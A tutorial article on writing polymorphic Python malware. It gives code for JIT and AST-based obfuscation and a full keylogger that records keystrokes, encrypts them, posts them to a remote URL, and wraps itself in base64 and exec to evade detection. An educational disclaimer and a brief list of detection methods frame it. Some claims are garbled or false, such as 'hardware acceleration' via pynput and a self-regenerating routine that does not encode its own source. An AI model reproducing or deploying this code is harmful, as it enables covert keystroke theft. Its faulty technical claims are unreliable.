Polymorphic Malware

Creating Polymorphic Python Malware

⚠️

This article is for educational purposes only. Creating or using malware is illegal and unethical. Always obtain proper authorization before testing security measures. The techniques described here are intended to enhance understanding of cybersecurity threats and should never be used for malicious purposes. Misuse of this information may result in criminal charges.

Introduction

Polymorphic malware is designed to change its code structure with each iteration, making it difficult for antivirus software and security tools to detect. This article explores advanced techniques for creating polymorphic Python malware, focusing on evasion tactics and code obfuscation using modern approaches and hardware acceleration.

Advanced Polymorphic Techniques

1. JIT Compilation with Numba

Using Just-In-Time (JIT) compilation can significantly improve performance and make the code harder to analyze:

jit_obfuscation.py

import numpy as np
from numba import jit

@jit(nopython=True)
def obfuscated_payload(x):
    result = 0
    for i in range(x):
        result += i * np.sin(i)
    return result

def execute_payload():
    trigger = obfuscated_payload(1000)
    if trigger > 500:
        print("Executing simulated payload...")
    else:
        print("Condition not met")

execute_payload()

2. GPU-Accelerated Encryption

Leverage GPU acceleration for faster encryption and decryption:

gpu_encryption.py

import numpy as np
from numba import cuda

@cuda.jit
def encrypt_gpu(data, key):
    i = cuda.grid(1)
    if i < data.size:
        data[i] = (data[i] + key) % 256

def encrypt_data(data, key):
    d_data = cuda.to_device(data)
    threadsperblock = 256
    blockspergrid = (data.size + (threadsperblock - 1)) // threadsperblock
    encrypt_gpu[blockspergrid, threadsperblock](d_data, key)
    return d_data.copy_to_host()

original_data = np.frombuffer(b"Malicious payload", dtype=np.uint8)
key = 42
encrypted_data = encrypt_data(original_data, key)
print(f"Encrypted: {encrypted_data}")

3. Code Morphing with AST Manipulation

Use Abstract Syntax Tree (AST) manipulation to dynamically alter code structure:

ast_morphing.py

import ast
import astor
import random

def morph_code(code):
    tree = ast.parse(code)

    class CodeMorpher(ast.NodeTransformer):
        def visit_FunctionDef(self, node):
            # Randomly reorder function body
            random.shuffle(node.body)
            return node

        def visit_If(self, node):
            # Randomly invert if conditions
            if random.choice([True, False]):
                node.test = ast.UnaryOp(op=ast.Not(), operand=node.test)
                node.body, node.orelse = node.orelse, node.body
            return node

    morpher = CodeMorpher()
    morphed_tree = morpher.visit(tree)
    return astor.to_source(morphed_tree)

original_code = """
def malicious_function():
    if check_condition():
        perform_action_a()
    else:
        perform_action_b()
    clean_up()

malicious_function()
"""

morphed_code = morph_code(original_code)
print(morphed_code)

Real-Life Example: Polymorphic Keylogger

Here’s a more complex, real-life example of a polymorphic keylogger that uses various obfuscation techniques:

polymorphic_keylogger.py

import random
import string
import base64
from pynput import keyboard
from cryptography.fernet import Fernet
import requests

class PolymorphicKeylogger:
    def __init__(self):
        self.logged_keys = []
        self.key = Fernet.generate_key()
        self.cipher_suite = Fernet(self.key)

    def on_press(self, key):
        try:
            self.logged_keys.append(str(key.char))
        except AttributeError:
            self.logged_keys.append(str(key))

    def start(self):
        with keyboard.Listener(on_press=self.on_press) as listener:
            listener.join()

    def encrypt_data(self):
        data = " ".join(self.logged_keys).encode()
        return self.cipher_suite.encrypt(data)

    def send_data(self, url):
        encrypted_data = self.encrypt_data()
        headers = {'Content-Type': 'application/octet-stream'}
        response = requests.post(url, data=encrypted_data, headers=headers)
        return response.status_code

    @staticmethod
    def obfuscate():
        obfuscated_code = base64.b64encode(PolymorphicKeylogger.__str__().encode()).decode()
        random_var = ''.join(random.choices(string.ascii_lowercase, k=10))
        return f"""
import base64
{random_var} = base64.b64decode('{obfuscated_code}').decode()
exec({random_var})
"""

if __name__ == "__main__":
    keylogger = PolymorphicKeylogger()
    keylogger.start()
    # In a real scenario, you would set up a server to receive the data
    # status = keylogger.send_data("https://example.com/receive_data")

    # Generate obfuscated version of the keylogger
    obfuscated_keylogger = PolymorphicKeylogger.obfuscate()
    print("Obfuscated Keylogger Code:")
    print(obfuscated_keylogger)

This example demonstrates a keylogger that:

Uses hardware acceleration for key capturing (via pynput).
Implements encryption using the cryptography library.
Obfuscates its own code using base64 encoding and dynamic execution.
Generates a new, randomized version of itself each time it runs.

Polymorphic Malware Detection Techniques

Modern approaches to detecting polymorphic malware include:

AI-powered Behavioral Analysis
Dynamic Instrumentation
Memory Forensics
Network Traffic Analysis
Fuzzy Hashing

Let’s visualize an advanced polymorphic malware detection process:

graph TD
    A[Suspicious File] --> B{Static Analysis}
    B -->|Signature Mismatch| C{AI Behavioral Analysis}
    C -->|Suspicious Behavior| D{Dynamic Instrumentation}
    D -->|Malicious Activity| E[Detected as Malware]
    D -->|Inconclusive| F{Memory Forensics}
    F -->|Malicious Patterns| E
    F -->|Clean| G{Network Traffic Analysis}
    G -->|Suspicious Traffic| E
    G -->|Normal Traffic| H[Mark as Potentially Safe]
    C -->|Normal Behavior| H
    B -->|Signature Match| E

Mathematical Representation of Advanced Polymorphism

We can represent advanced polymorphic malware using category theory:

Let $\mathcal{C}$ be the category of malware instances, where objects are malware samples and morphisms are transformations between them. The polymorphic function $f$ can be seen as an endofunctor $F: \mathcal{C} \rightarrow \mathcal{C}$.

For a malware sample $m$, the set of its polymorphic variants can be represented as the orbit of $m$ under the action of $F$:

$$ Orb_F(m) = {F^n(m) | n \in \mathbb{N}} $$

The challenge for antivirus software is to find a natural transformation $\eta: F \Rightarrow Id_\mathcal{C}$ such that for any malware $m$:

$$ \eta_m: F(m) \rightarrow m $$

This natural transformation would allow the antivirus to “undo” the polymorphic transformations and identify the core functionality of the malware.

Conclusion

While these techniques demonstrate advanced concepts in polymorphic malware, it’s crucial to remember that creating or using malware is illegal and unethical. These examples should only be used for educational purposes and to understand how to better defend against such threats.

Always prioritize ethical coding practices and use your skills to improve cybersecurity rather than exploit vulnerabilities. Understanding these techniques is essential for developing robust defense mechanisms and contributing to a safer digital environment.

References

Memory Forensics Bypass Anti Virus